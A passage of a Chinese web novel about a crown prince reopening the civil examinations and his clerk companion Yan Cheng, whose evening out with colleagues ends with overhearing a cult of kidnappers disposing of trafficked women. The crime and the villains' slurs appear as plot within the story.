“饼没什么问题,没发霉,也没冷,还冒着刚出炉的热气。就是……”
还未说完,晏城愉悦得眉眼早早弯起,他心情越是好,便越不在意嘴里冒腾的苦味,只顾与谢知珩说着,同僚的趣事。
晏城:“清肃只想着填饱肚子,却忘了跟摊主说,不要姜。也不乖他,谁让清肃去得晚,摊上只这一块饼!”
“他往嘴里尝了尝,才咬一小口,便受到姜的第二波攻击。”
“逃不过,逃不过,而且清肃回家后,家里人做了一窝姜味鸭。那气得,接连三日,清肃都没理我一下。”
晏城愤愤伸出三根手指,愤愤表述自己的不满。
“陶主簿怎不理郎君?郎君好似没做什么,整件事里。”
谢知珩伸出被药碗温得有些的掌心,贴在晏城手上,暖暖他受寒的身子骨。
“嘻嘻!”
晏城似坏事得逞的稚童,附在谢知珩耳旁道:“是我与他家里人说,清肃近几日受寒,得要姜补补。”
谢知珩跟着笑,捏捏晏城翘得老高的嘴,说:“那郎君,可真是恶趣。”
他眸眼流转,药碗被宫人接了去,屋内炭火不少,暖烘烘的。
“呼呼,这场雨来得可真及时。”
钟旺仰起头,伸手要去接这春雨,却被李夫人持戒尺打了去。
她很委屈,看向叔叔李德谦,对方也是无奈一耸肩,奈何不了李夫人。这李府,李夫人才是这儿的主人。
李德谦怕被夫人打,瑟缩在屋内,但眸眼因春雨而开心。
看向钟旺,李德谦说:“书看得如何了?”
“……”
“这种时候,就别提读书,我还能开心点。”
钟旺哭丧着脸,回。
李德谦可不愿放过这机会:“殿下想重启明经科,学业可别荒废。”
“明经?我不就是明经考入大理寺的,重启便重启,与我何关?”钟旺不解,瞪着硕大的眸珠。
李德谦摇摇头:“你那明经只是小打小闹,此次明经可是会入吏部,授予官职的。”
他轻笑:“旺哥儿,你可得考个官身来。”
钟旺大张着嘴,不敢置信。
与吏部官员相关的考试,那搜身环境可最为严谨,当着诸考生的面,散发,只余里衣,只会断了舞弊的路。
明经的搜身不算严谨,不少女公子扮个男装,都能混进去考。
是此,朝廷对此,大多不太上心,不太重视。
“我能去参加吗?”
钟旺骤然对前方迷茫,她仍站在明经这路,圣人的眸眼本是永远注视科举,却无意间,垂看无人问津的荒道。
26. 第 26 章
“啊啊——怎么这么多要背的,明经到底考个什么呀!”
只一《论语》,便扰得沈溪涟头疼不已,她抱着头,缩在被窝,崩溃又无奈。
朝内明经开科的消息还未传开,长耳达天的官员早已探知到,纷纷告知亲朋,让踽踽于进士科的好友纷纷转投他处。
那好友不解:“明经登科,也不过入吏部的除班,候吏兵二部铨选。今科进士还未授官,哪能轮到明经?”
官员轻晃脑袋,点了点那好友的额头,笑说:“你且看着吧。”
祁阳伯从熟知的亲友得知此消息,忙为家中女公子搜罗书籍与夫子。曾扮男装登明经科的夫子已更为抢手,祁阳伯咬牙割舍不少,才算请来。
“世子也别太担忧,主是明经、明字与明算三科,与进士科相比,已是容易。”
平儿已赎身出奴籍,沈溪涟跟旁换了位贴身侍女,她样貌或没平儿那般若细柳那般娇弱,却另有一番滋味。
小巧鹅蛋脸,眼尾高挑的狐狸眼,脂粉胭霞,困光流转时,映托出令人信任的高智感。
“呜呜……”沈溪涟依靠在侍女依人怀里,假假哭诉道:“依人帮帮我,这些太难了!”
依人轻拍沈溪涟后背,温声回:“好,世子奴帮你。”
沈溪涟能获封世子,是那日祁阳伯发现凤纹玉佩,怕女儿误入宗室的火坑里,当夜便起了奏折,上达东宫。
祁阳伯以为东宫会卡这封,却不想东宫次日便处理好,由门下省黄门侍郎携旨,至府门宣诏。
李公公对此也不解:“殿下何不卡祁阳伯几刻钟?”
“无需如此,孤还不是这等小人,孤还需祁阳伯镇守川西。前几年,他镇守川西的屯田工事,功绩非常优越,不然吏部也不会让他累迁工部侍郎。”
为开明经,谢知珩这几日常常识困倦,手肘撑着扶手,微微闭眸,都能歇息好一会儿。
“兵部尚书要登鸾台,空出个侍郎位来,让祁阳伯去。”
谢知珩揉了揉眉心,眸眼紧闭,与李公公说:“他从军数年,通屯田一事,兵部于他而言,不算亏待。”
谢元珪一死,祁阳伯手中自认最稳妥的筹码被抛掷棋盘外。从军又常在外,与京中勋贵牵扯不牢,他又不愿与坐吃空山的纨绔交好。
在京中,祁阳伯少有过生死交心的友人。可为家中女儿前程奔波,祁阳伯无奈只能转投谢知珩。
孤弱无依,祁阳伯最多塞进武将里,可武将早成塞北气候,哪能容进川西。
祁阳伯,已是无路可走。
世子位,兵部侍郎,是谢知珩为祁阳伯铺就的路。
同时,他也在为另一人铺路。
谢知珩:“他需要几番功绩,入六部去。”
只需入六部,谢知珩便可为晏城进行些许操作,让他步入青云。
曾希冀入礼部,以礼部郎中为起点,以“文人之极任,朝廷之盛选”的中书舍人为脚板,跃入三省,乃至入相。
实权暂且不填,谢知珩已为他起草不少虚职荣衔。
“大理寺还需几次重绩,柳学子被杀案,他没参与进去,论功行赏轮不到他。”
谢知珩垂下眸眼,于前途,于事业,晏城太过于懈怠。他不求高官厚禄,也不求位高权重,似已偏安大理寺一隅。
若真有求,那怕是街巷头的食铺,更惹他欢心。
“几道,这又是跑哪个小巷子,入的吃食?”
大理寺今日又是空闲度日,陶严趴在处理不完的旧书堆上,下颌抵着书皮,方抹了的油随着他偶尔的蹭动,都黏在其上。
午膳又逃离膳堂,晏城听今个膳堂做姜味汤,忙跑出大理寺,于各小巷口蹿蹿,游走在他熟知的各个食铺。
吃饱喝足,才发觉堂内还有个与他同不爱姜味的清肃,晏城立即返回食铺,为陶严买了些。
“清肃你最爱的。”
晏城把油纸包裹的小食放在陶严手旁,离旧书堆远点。
这些旧书,摊上他好几月的俸禄,都赔不起。
哪怕印刷术于去年已改良好,尚未推广开来,书籍仍是贵重,压得百姓难走科举一路。
大理寺卿一旬前交代的任务,主簿两人拖到如今,还有一大叠尚未处理完。
无人催促,也无人监督,自是如何慵懒,如何惬意地来。
这不,若非寺内无趣,话本未出新,主簿们也不至于沦落到清扫旧书的地步。
陶严接过,却没立即拆开:“多谢几道,这几日膳堂日日煮熬姜汤,那膳堂的地都被姜腌入了味,某实在无福享受。”
还不止如此,陶严涌上的悲伤痛苦,经他一顿倾诉,全吐了出来。
“明经将开,我叔父家有一独女想参考,京中女夫子具被邀请,皆无力为堂妹教习。”
陶严重压额头,抵着旧书缠绕的粗线上,有气无力再谈:“那叔父想明经与进士科知识相差不大,只一为识记,为计算;另一为策论,为诗篇,便求某为堂妹,补习功课。”
“你家中有亲戚在京中?”晏城不理解,他眉头紧锁:“那为何老是与我抱怨,家中无人疼你?”
陶严挠了挠耳后:“某也不好意思凑上前去。某仅为七品主簿郎,叔父高居正二品尚书令,处宰相位,某哪敢攀上前去。”
清肃你家伙,深藏不露啊。
居然有个宰相叔父,也难怪范大人能忍清肃,也难怪祁阳伯不愿招惹他,除去江南陶氏,还有个叔父宰相撑腰。
“……”
晏城一时有些同情大理寺卿,底下居然有两大关系户,一个坐靠顶头上司,一个背有宰相叔父。
若有一日,他们具犯了蠢事,需写检讨。
不会一篇为《某的东宫殿下》,一篇为《某的宰相叔父》吧。
范大人,你未免也太可怜了吧。
晏城涌上的同情心,再与瘫在书堆上的陶严对视时,全消散光,只余欢喜。
整个大理寺内,总算不止他一个关系户,还有个靠山不逊于他的清肃。
顿时,晏城望向陶严的眸眼,充斥欢喜与认同,夹杂着些许微妙的情绪,这让陶严不由得一颤抖。
陶严似抹开画篇的墨般,掌心于晏城视线内左右横扫方清理过的书封,担忧着问:“几道可无事?可需要某,去膳堂为你端碗姜汤来?”
“滚!”
探姜色变,晏城愤怒地坐回工位,单手撑着侧脸,眸眼只盯着桌上,辛苦一上午也不曾动过的书堆。
天暖了有些日子,春雨润过初耕的大地便退了场。
日晖跌落屋檐,掉在堂前栽种的牡丹瓣纹之上,金丝不嫌累般丝丝缕缕勾勒,连旺财的毛发都泛起橙黄的光。
景色正佳,良辰好景不可虚待,旁又无案牍劳累,连钟旺都摊着书籍
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轻声念叨,她轻缓的声音夹杂枯燥的经句,惹得晏城躲在书堆后,连打好几个哈欠。
“晏大人你若是困,便睡吧。殷大人今日沐休,不上值,范大人自是不会管你们!”钟旺抱怨地说,她遭牵扯,也打了几个哈皮。
非是夜间学习未睡好,春困正当时,惹谁都嫌困。
陶严昨夜为堂妹教导经书许久,又早早赶来上值,也是困意不饶人,他正撑着下巴,将眯半眯。
侧身望困意发起人,晏城早将旧书堆在眼前,三面包裹,只留一余地,供他安寝。
不由得感叹万千,几道真会享受,京中有人照料便是好。
可惜,陶严叹息不已,他于南边的友人,少上京城。哪怕考入,也少留在京城,多派分江南。
陶严双手托起下巴,他的主簿位,还是尚书令叔父照料,殿下悯惜南方学子,才留在京城。
想起昨日见叔父,虽沉稳不改,浑浊的眸眼却浸着烛火的光。
进士一科,因主考官,偏袒太多。
殿下才再启明经,以明经、明算、明字三科,多择人才入吏部。
政事堂前,中书舍人领了源侍郎的令,同居一屋,小声讨论六部行事,草拟各章程,又判各部事宜。
负责吏部的裴舍人,与中书令裴光庭同族,通晓许多事宜。
裴舍人执笔拟诏:“诸兄长可见金科等第的进士?某瞧了几眼,一甲只那状元出身南方,榜眼与探花可皆出自北方。”
“入进士科的也南方学子也不多,可南边不最看重读书习字,怎只这点成绩?”
负责兵部的中书舍人也不解。他虽为中书舍人,可交接兵部,算贴文,却是塞北军边出身的进士。
负责礼部的中书舍人乃北方学子,他微伸懒腰:“大儒皆居北地,靠京郊,或隐于孔地,南边学子无良师,且素来如此。”
“可不得这般言,三学子之一的陶学子可是出自江南陶氏。”
那礼部舍人耸耸肩:“若非此,陶氏今日怎会称名门,又高坐省长。可惜,虽为宰相,天后却另设政事堂,此省长非彼日省长。”
也非那舍人敢这般轻视,他位居中书舍人,背靠礼部,附于中书贰令,又身入宗室。
自是比同僚,更放肆点。
祁阳伯府迎来位重客,连祁阳伯都亲自至府门,迎贵客。
“陶相爷,今日怎会临本伯爷塌下?”祁阳伯困惑,手摊开,与世子共迎。
尚书令未带属官,只携他独女前来。
尚书令未言,只独女陶枫开口:“枫儿听闻伯爷宁可降爵,也要立府上女二公子为世子,对伯爷此举止心中既喜又敬佩,儿便求着爹爹,苦恼着要见伯爷与世子一面。”
被陶枫拉着手的沈溪涟,带着方从书籍的痴懵,又迎面碰上言行举止毫无破绽的陶枫,饱含古意的话劈鼻袭来。
走进堂厅后,陶枫又半弯膝盖,福身与祁阳伯道喜:“儿前几日谒见淑妃,不小心听闻一喜事,与伯爷有关。”
祁阳伯顿住,想起已磨成玉粉的玉佩,他不由得担忧起来,可别是赐婚喜事。
他家二姐儿,可当不得皇室恩浓。
但陶枫与尚书令满脸的笑意,逼得祁阳伯不得不开口问:“可是什么喜事,让陶公子前来道贺。”
陶枫与自家耶耶相视一笑,眸眼弯弯:“自是恭贺伯爷,喜得侍郎一职。”
27. 第 27 章
“今天的伙食格外好啊,我吃,我大吃特吃!”
“断头饭也说不定。”
数年来,修建房屋家具,工匠只用昂贵木材,昔始皇筑就阿房宫,不惜大费周章从南方运来木头。
只今时来瞧,这屋内不少家具以铜、铁焊接。春日微冷,铺以软毯;夏时燥热,铺以丝绸,以凉透凉。
铁制的博古架,摆放不少稀奇古怪的玩具,刷了玄漆的西洋钟,底下镂空的洞,到点时有金丝雀飞出。
仔细一瞧,原是木制小鸟,刷了金漆。不知工匠何等用心,雕刻这鸟,似真飞入钟内。
日头稍暖,他们不爱长袍,具着单衣,哪怕窄袖,也得捞起,停滞肘弯处。
马尾高扎的女子,不拘束地岔腿,脚踝抵着软凳,结实承载自己。
她不在意地摆摆手:“没事,反正爷享受过这皇帝般的日子,已经知足常乐,赴死无怨。”
“我还不想死啊,我前后两辈子,连女孩的手都没拉过,还不想这么早死。”
她旁有一穿卫衣的男子开口,虽是卫衣形式,仔细瞧,布料针脚却古朴得厉害。
那高尾女子嫌弃地“啧”一声,抓住卫衣男子的手,挑了挑眉:“行了,你摸过女孩的手,可以去死了。”
“……”
卫衣男震惊,瞳孔睁得如东珠,完全把高尾女子映入瞳孔,哪怕盈上水雾,也不愿放弃。
“高蕉绿,别调戏人家,你不知道乔能泪腺发达啊。”
再次被人指点,高蕉绿烦得不行,手舞足蹈,象牙制的箸被她挥舞成指挥棒,一点一个吐槽声,此起彼伏。
正欣赏蕉绿的癫狂样时,房门被敲响,有声传来,他们辨认出是太子身边李公公的声音。
“请进。”
李公公听声后,推开门,身后跟随看不见尾的宫人,具捧着案几。
乔能嗓音还带着哭腔,问:“总管这是?”
李公公轻笑,侧身让宫人进来,站满外堂,才回:“诸学子借居东宫,多则五六年,少则二三年。殿下降恩,允学子落脚宫外,放学子自由,以后不再囚困。”
“出宫去啊。”
林介甫挠挠下巴,衡量不受东宫侍奉与受时的区别,夏有冰扇,冬有足炭,织女坊月月备有他们衣物,季季为他们填充衣柜。
宫人伺候起居,太子少入后院,偶尔发布任务,让他们竭尽全力改善诸多良器,如西洋钟,白瓷,或印刷术,或耕具。
有吃有住,有衣有太医,心血来潮时,小厨房随时候命,无需他们操心。
林介甫:“我有点不想出宫去了。”
他转看向其余被囚困的老乡,他们齐齐垂眸思考,听林介甫话语,也点点头。
李公公不逼迫他们,他们中或为国子监学子,或为重臣勋贵家中儿女。
为何能逼入禁中,谢知珩以女官、教导小殿下为由,引入皇宫。也是此,存留下来的人,未受到严苛的刑打,至多没现于外皮。
东宫内,谢知珩仍是翻阅奏折,朱笔似黏了米糊般,离他不曾有半里远。
心神多分,侧耳又听暗卫与他奏以京中事,谢知珩缓缓垂落眸眼:“陶相手底无人,便寻祁阳伯,消息倒是灵通。”
转眸见李公公走进,李公公低声与他说:“过半学子不愿出宫,似还想借居宫内。”
“如出一辙,习性难改。”谢知珩轻笑,他们不愧与晏城同时代,皆学了那懒散的性子。
国强民富,东宫也非养不起他们,怕是要作为东宫幕僚,来豢养着,得给个名分。
李公公又回:“也有几位愿出,臣已让他们安顿在陋室,也奉上书籍,督促他们参与明经。”
递上纸张,谢知珩看了眼,字字列了几位出宫学子于千年后学府中,他们所修学的专业,多为水利等可入工部的学识。
谢知珩点了点那几位学农的独苗苗:“他们,于盛有利,于农有利,不可轻视。而这几位,工部樊尚书早寻孤要人,别忘与樊尚书言。”
南方多水系,河湖丛生,田地又肥沃,鱼米之乡,天下粮仓,自需重视。
又不能只求农耕,还得为民开智。
谢知珩闭了会眸:“孤虽需南方多耕作,可瞧陶相那般急迫,去孔地寻几位大儒,于江南开几座书院。”
居于孔地,大儒或朝圣,或求名,望桃李满天下。
李公公问:“若他们不?”
“南朝四百八十寺,多少楼台烟雨中①,他们会同意的。”
曾南朝主定都于建邺,推崇佛教,使得南方多寺庙,百姓也多往寺庙拜佛烧香,有事无事皆求于佛。
檀香浓郁,惹得诸多大儒不喜,天后于北方大肆灭佛,他们便乐于居住北地。
“该灭次佛了,南边。”
谢知珩睁开眸眼,望向博古架上的垂眸佛珠与低眸观音。
李公公见后,走过去。
本同处一柜,不分高低的玉像,被李公公一番搬移。刻在牛骨中的老子像不动,桃花木制的孔像上挪,佛祖玉像下移一步,落于观音老子其后。
“搬去德阳殿。”
李公公嘱咐身后宫人,原封不动,位置不改地搬过去。
*
“哈啊!睡了个好觉。”
院外花将睡,晏城打哈欠伸懒腰,浓丽的脸上充斥餍足感,点染的水雾惹得桃花眸艳绝,若三月芳飞尽。
还是上班睡觉最爽,下无杂事,上无领导巡查,连钟旺都抱着旺财跪坐在立柱旁,背诵的书本摊开,偶尔旺财的贵爪蹭几下。
感谢殷寺正,特别感谢殷寺正今日沐休,也感谢南阳侯夫人日日唠叨殷寺正。催促他速速成亲,又携殷寺正参与各府的春日宴,赏花会,参加不同宴会的相亲。
否则,殷寺正不得赶大理寺来,揪着他们耳朵,怒斥他们醒来。
别太劳烦你了,殷寺正。
晏城抹了把脸,轻拍脸颊,扫去残存的、不断拉扯他的困意。
“清肃,清肃醒醒!”
不想孤身一人下值,晏城特意唤醒自己下班逛美食街的好搭子,特意把旧书堆挪开,让方点起的油灯照在陶严眼皮。
那白热只一会儿,晏城立即拿开,持油灯蹲在旺财旁,安抚几下旺财睡炸的毛,没多久,钟旺因着旺财细微的挣扎而醒来。
“几道,你今日是否太闲些?”陶严撑着半脸,哑声说。
钟旺跟着点头,不甚舒服的睡姿,让她束起的高尾低垂,发带也要掉不掉的。
“是啊,晏大人绕过我吧。我现在是一点也不想回家去。”钟旺哭丧着脸抱怨,
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自从明经得朝廷重视,她叔父本就盯她读书盯得厉害,这下更是厉害。
婶婶先前还抱有她嫁人的希望,此刻,也学着叔父,日日催促,日日紧盯。
钟旺满心只有,求放过,求诸位放过。
上值有殷大人,下值有叔父婶婶,她只是个不愿翻身的小兔兔,别太过压榨。
“嗯?”
察觉到重要类同的话术,陶严顿时正正身板,睁大他因灯火而发亮的眸子:“旺财也不想回家,是吧!是的吧!”
陶严步步紧逼,钟旺靠着立柱后退不了,忙拉过晏城,挡住陶严灼热的目光,脚旁的旺财也瑟瑟发抖。
不会误入某种修罗场了吧,晏城皱眉想了许久,才总算扒拉出个男主来。
殷寺正嫉恶如仇,又与钟旺同出同行,助她良多,才产生些微情愫。不会?清肃也因旺财生情,来个两男抢一女。
嗯……
刺激,真是刺激,晏城满意地点点头,抱手期待这场情爱修罗场,又满心希望殷寺正速速赶来大理寺。
等会!晏城又想起什么。
正值沐休的殷寺正赶回大理寺,他在说什么诅咒,顺利下班不好吗?
拒绝加班,晏城咬咬牙,千万不要加班。
他就是个主簿,盖章抄文条的,就该老老实实下班,千万不要赶外勤。
想归想,晏城仍是一副看戏的快乐模样,他乐着瞧修罗场,奈何陶严想得有些偏轨。
陶严站在离晏城几步之远的前方,兴奋不已:“几道也先别回去了,我们可以约着出去瞧瞧逛逛,然后某就可以美美的,失约叔父了。”
陶严扁着嘴,他是真不想再去叔父家,不想再通宵为堂妹讲解儒经上的一字一句,似对待举子那般辅她。
堂妹进退得体,言行多捧人,又极嗜权欲,叔父以相父之位来培育她。
若非天后病逝,进士科查身严苛,不然堂妹定会登高堂,登德阳殿,入政事堂。
陶严也曾问过叔父,为何这般看重堂妹,可不会是因为膝下只堂妹一儿?
叔父回:“她要,她渴求,自幼便如此。身为父亲,老夫还不许为她考虑?”
陶严不禁叹道:“自二圣临朝,自天后掌权,渴求权欲的女公子是越发多了。”
开国皇后为天下女子开了个好头,后继每位皇后都为此不断奋斗。
平地筑就一屋,前者占地,后继者舔砖盖瓦,不拘束对权欲的追求,便造就今日场面。
目前的掌权者谢知珩,前有天后一句又一句的叮扰,她废夫登位的心不改,若非早早病逝,晏城还以为会亲眼目睹一代则天皇帝。
后有不断闯入的后世者,裹挟平等思念,晏城日常灌输,使得谢知珩只瞧能力,不看男女。
天命之女,天命之女……
谢知珩曾于晏城耳旁轻声唤:“孤予你道路,予你资格,准你入朝野。你能否站在孤眼前,着一袭红色官袍?”
晏城轻笑,回复陶严:“这样不好吗?”
钟旺点点头,她觉得好极了,也只有她那老古板阿耶,才会怒斥日月移位,阴阳乱序。
天天要求她背女戒女德女训,牢记三从四德,牢记妇言妇德妇容妇工。
江南对女子多苛求,但陶严耸耸肩,回:“甚好。”
28. 第 28 章
春闱过后,京中宵禁不再似前些日子那般严苛,虽偶有兵马司穿身而过,但多是探查他们身份,辨清后便放行。
晚春微凉,耳畔摊贩热闹声不绝,惹落晏城一袭风尘。
晏城不觉吵闹,他打着哈欠,只觉困意缠绵,踏出的每一步,困意都深藏在阴影内,拉扯纠缠着他。
一旁的陶严顿觉无奈:“下半晌不才睡过?今日殷寺正沐休,你上值可是迟到的。”
“早知道殷寺正不在,我何必来那般早,故作殷勤。”钟旺跟着点头谴责,又抱怨不已。
大理寺最不怕的存在,是执掌一寺的大理寺卿。
最怕的,便是冷脸扫视众人的殷寺正,另一寺正暂且不提,不知被范衡拎到何处去了。
“唔,糖丸子。”
钟旺眨巴双眼,盯着晏城看许久。
晏城脚步一顿,侧过陶严,以他为遮拦,逼得钟旺只好求救陶严一人。
别求我,我俸禄还没发,身无分文或沦落流浪者,晏城在心底念叨。
同时男女授受不亲,男男授受不亲。
钟旺只得转看陶严,硕大的眸珠似夜明珠那般闪烁,混着灯笼的艳光,刺向陶严。
陶严不由得后退几步,掌心平推,做拒绝模样。
对此,钟旺颇有不解与不满。
她愤愤开口,指着已离去的糖丸子摊:“我于京城不熟,只想问问你们,糖丸子好吃吗!”
“哦,这个问题啊。”
对美食颇有见解的晏城挺身而出,拍去因睡姿而皱起的袖口,回:“很甜,糖汁浇太多。”
陶严跟着点头,齁甜齁甜的,就似在尝糖精。
“……”
钟旺摸摸下巴,盯看主簿二人许久,立即转身跑去食摊,买三串糖丸子。
一串至少串有四个丸子,钟旺张嘴一薅便是三个,糖丸鼓起脸腮。贴她才十七八的年纪,正显可爱。
瞧钟旺吃得兴高采烈的样子,主簿二人不由得愣住,陷入怀疑的困境中。
“嘶,是不是我们与旺财口味不一样?”
还是摊主改良了口味?
二人对视一眼,或惊讶,或怀疑,或不解,种种情绪化为斩不断的愁死,逼得二人迟迟未动身。
最后,二人转而去各买一串,张嘴细尝。
“!”
“太甜了吧!”
晏城被甜得直皱眉眼,精致的桃花眸挤成一条缝,握串的手腕不断抖动,
陶严边点头,边欲哭无泪。
只钟旺一人,不做先前餍足模样,她紧闭双眸,似狠下心般,连吃三串糖丸。
最后求商贩一杯白水,钟旺边喝,边笑说:“骗到啦,都清楚糖丸过甜,怎还会相信?”
可恶,上当受骗了!
主簿二人对视一眼,垂头丧气跟在钟旺身后,不再孤高躲避,具贴心为钟旺讲解京中知名或不知名,却异常美味的佳肴。
“哼!”
谁让他们不理人,误解自己。
钟旺满意不已,迈腿游逛的速度减缓,哼着江南侬调,精挑细选二位上官推选的美食。
越过长街盈袖的烟火气息,春日的夜降得不晚,燃起的灯烛照得长街小巷通明,悬挂屋檐的灯笼澄黄,光斑揉碎在盈有江南水乡的眸眼里。
灯火阑珊处,难寻其人,眼前的灯火澄亮,却惹来更多。
踏出的每一步,都踩在烟灯之上,晏城不由得为此滞留,为入耳的丝竹声,也为喧哗的摊贩叫卖声。
“这便是入夜的淮阳巷吗?”
钟旺不禁失叹,越走进淮阳巷,燕语呢喃,莺声清脆,顺着一缕一缕的血色罗裙,血色飘带,轻垂她眼角。
晏城走在一旁,眸眼扫过仍在营业中的楼苑,熟悉的楼苑外衣,牌匾却换了不知多少。
京城的花楼总是来来去去,似沾水的蜻蜓,一点涟漪,扰湖面泛圈,扰不了湖下的波澜。
“又有新楼开张,可去尝尝?今夜说不定,有折扣。”
陶严不为频繁闭开的花楼担忧,搂着晏城肩膀,挑眉轻说。
丝竹声方息,银片随风轻拍的脆声,夹杂欢笑的歌声,招来不知多少人的抬眸。
晏城抬眸,多色艳丽的衣裳,点缀全身却不失本身的银饰,竹林苑又开,却迎来南疆那边姣好姑娘。
他的第一眼,并非竹林苑老鸨善寻佳人。
而是想,北边、江南等地的卖入花楼现象持续减少,致使老鸨只得去南疆寻美摘花。
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“她们笑得好漂亮。”钟旺眨巴着她灵灵的双眸,赞赏道。
方出声,那些来自南疆的姑娘转眸望向他们,展露皓白的牙齿,手拉手围着他们转圈,欢声载着歌舞。
晏城被此一惊,忙后退,紧靠着陶严不敢动弹。
陶严是被姑娘们突然的热情一时呆顿住,晏城却怕极一圈又一圈绕着姑娘的银片与银环。只瞧便知重量,悬挂手腕,也挡不了她们的转动。
这要是一拳挥过来,晏城怕自个会半身不遂。
“清肃,清肃,这是你的最爱!”晏城忙拉过陶严,以他为挡箭牌,“速速,便可齐家。”
一波惊澜接一波,不给陶严反应的片刻,眨眼间被晏城怼向姑娘们,直视双双浅色似琥珀的眸眼。
“!”
陶严被吓得后退几步,可旁人只认死道友不牵扯贫道,连忙退出包围圈,徒留他一人苦困。
连快步走了好几步,不见那几位热情似火的南疆姑娘身影。
钟旺平缓气息,问:“就这般丢弃陶大人,好吗?”
晏城背靠立柱,气息略有杂乱,无所谓摆摆手:“无碍,清肃日日与某叨唠家中无人,无人疼他,无人关心。我们为清肃做了件好事,罢了。”
“……”
你官大,你说得对,钟旺忍下翻白的冲动。
环视左右,晏城发觉他们身处的小巷灯火稀疏,只几里远,淮阳巷的绚烂似被刀截断般,照不入此方。
好浓郁的黑暗,晏城心下一惊,担忧着走近钟旺。心知钟旺武力不弱,但晏城认为,过暗的环境,人多点,安全便大一点。
绝对不是,他害怕了,晏城暗自咬牙想。
方安抚好惧跳的心灵,未几秒,阴森的草丛有窸窸窣窣的轻微声。他们移动时很谨慎,很轻也很慢,可大型重物的挪动,仍会压着地面。
“未免也太小心翼翼吧,贵人又不是不清楚这些干活。”
那处传来粗犷的男性嗓音,晏城未动,钟旺已挡在他面前。
晏城:“?”
晏城:“???”
未等晏城出声询问,耳畔又传来轻微的声,熟悉又使得他们微微颤抖。
陶严:“抛弃某,抛弃得可是快乐?”
29. 第 29 章
蹭磨花草的窸窣讶然歇住,后脑蓦然来几男声,钟旺尚未反应过来,长刀的冷光折入晏城眸眼里,实在略有刺眼。
长刀出了半截,钟旺指腹紧紧按住,不完全出,也不使其落。
方出半刻,所有声音都于此刻哑然而止。
连略带怨气的陶严也纷纷闭上嘴,贴着晏城颤动的手臂,与他抓不住万物而抽搐的手。
陶严靠他不远,于耳畔轻诉:“某,可没惹他吧?”
晏城不敢言,细微的摇头,手无寸铁之刃、手无缚鸡之力的他们若竹箸那般聚集一块儿,这般不轻易折断。
他们是易折的瘦竹,是将倾的兰花,是揉捏的桃枝。
对上钟旺,他们太过于娇弱。
“……”
“旺财,行事别过界,留人一线生机,切不可与人结仇。”
陶严小声念叨,离他越近的晏城,都有些未听清。
何句?自是那声旺财。
细长的眉眼似一把柳叶刀,钟旺挑挑眉,回:“阿娘只告知我,拔草要除根!”
二人顿时一怔,一左一右,伸长手臂,邀钟旺往前几步,去细细听。听听那些人做甚,可有说什么,是否越界。
“可需报与兵马司?”钟旺仰头问。
陶严摇摇头:“无需,淮阳巷常有诡事出,遇上我等,也算是功绩一条目。”
他们商议着该如何行事,如何谨慎,如何安全。毕竟都非盖世大侠,无法摘叶飞花,定要好好筹划一番。
晏城尚未参与,他略感疲倦,盘腿坐在草丛旁,眼皮上下争吵不休,似决裂又似复合般,扰得晏城无法安然。
哪怕如此,他也紧盯着夜色中几抹过浓的身影,不敢高声语,只敢轻声询问。
一心作二用,晏城掌心托起倦累的脸颊,心里不断思索着。
今日怕是不能早回府去,忘与殿下道回府晚,忘与他言想与同僚共逛街巷,也忘与他说,回家途中偶遇事件。
啧,晏城无声在心里感叹。
他又非某小学生,下池从不抽中当期,出门从未刮中彩票,怎今日这般巧遇。
先前的困惑,由此解除。
“先把这些姑娘的尸体挪走,然后呢,我们再将锁在车里的姑娘,拖到楼里去。”
另一人点点头:“小心点她们身上银饰,都不晓得怎么处理的,锤头敲得邦邦薄,特别锋利。上次,有个宁死不从的姑娘,直接割了!”
“嘶,南疆姑娘都这般狠烈?”
“要说,还得是绑江左那边的姑娘最好,她们都被家里养得娇贵,那腰子,那身子,就跟抓个跟柳树一样。”
“弱柳扶风,你是想说这个?”
“啧,还是你郭老六比我有文化多了,我就个土地里刨食的,没读过什么书。”
郭老六环视左右,贴在那大老汉耳畔说:“等这次事忙,你也有机会的。”
“圣教佑我等平子。”
各自影子于脚下堆叠,由瘫软的肉身吸引,漫入血色都吞食的黑暗里。
晏城听不清他们念叨着什么,偶有月华撒落,照得那几人中,独两人表情虔诚万分。
一时不解,一时略惊讶,晏城不理解他们为何如此,是信道?还是佛,儒教也算一方大教,可自融入科举中,儒教便被文人占据。
不会信仰基督吧!
越发觉得这个可能性,中真率贼高,根据谢知珩东宫囚困的穿越者数量来瞧,怕是有不少误入。
盛朝一如他曾知的唐,眉骨深邃者不在少数,奇发异服也非是没有。
晏城眉头紧锁许久,额间所有纹路都融入山根,连轻扫他眉心的兰草,也无法抚去那轻微的愁绪。
“可有听到什么?”陶严蹲在他身旁,瞧他脸目,担忧地问。
晏城未语,涌上的思绪杂乱,是抓不住,也摸不着的黑夜,牢笼般困住了他。
钟旺不解,她站得稍靠后,未瞧见晏城,只知晏城蹲着不挪位,像极了大理寺内那些一蹲守茅厕半刻钟的同僚。
有点气,钟旺嗓音压低,声音干哑般吐出:“晏大人,可是又睡着了?竹林苑离此不远,可需我等为你开间香房?”
“……”
“……”
晏城幽幽转看钟旺,低丧着桃花眸,委屈般,瞪与她。
请问女主,我在你心里是个什么形象!
“哦,晏大人醒着。”
钟旺不理会晏城的委屈,她专注跟随陶严的脚步,又比陶严多走近些。
两主簿具是文人出身,虽身体似竹竿瘦弱,脚步能轻点,可他们仍是男人,骨架就比女子重,自是与习武多年、又极轻的钟旺比不得。
“待在此处别动!”
钟旺拦住蠢蠢欲动的主簿两,又怕他二人生事,长刀再次抽出,冷光在二人骤闭的眼皮扫过几次,逼二人后退几步。
武力超强的钟旺,脚尖轻点,跃上院旁的高墙。
那些人具是于竹林苑中抬出无力肉身,一具堆叠一具,似叠放软绵绵的被褥般。钟旺紧贴墙,上身低伏,身骨若无力,如蛇般扭行于草丛间。
只叹人于世间行走,总会带些声响,可那声藏于夜间蝉的低鸣中,蛐蛐的唧唧声,不复现。
最绝佳的是,淮阳巷落入最繁闹的时刻,不知谁的欢呼声彻天而来,引得那几人侧身去听,落得满脸羡慕与嫉妒。
晏城这才听到自己先前未曾听到的话语,与不绝的咒骂。
“该死的大官,该死的大老爷,就知道睡女人。”
郭老六拉着他:“人家大老爷不止睡女人,他们啊,连男人都睡。”
“嘶!”
大老汉连吸几口冷气,震惊得连声音都在颤抖:“那
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旱道就这么稀罕,要不咱们也去南边,找几个二椅子试试?”
“先把人埋好,再说去南边。”
郭老六耸耸肩,又提醒那大汉:“圣可不保佑走旱道的人,不然那些老爷头顶的大官,怎么不去庇佑,专庇佑咱们教主呢?”
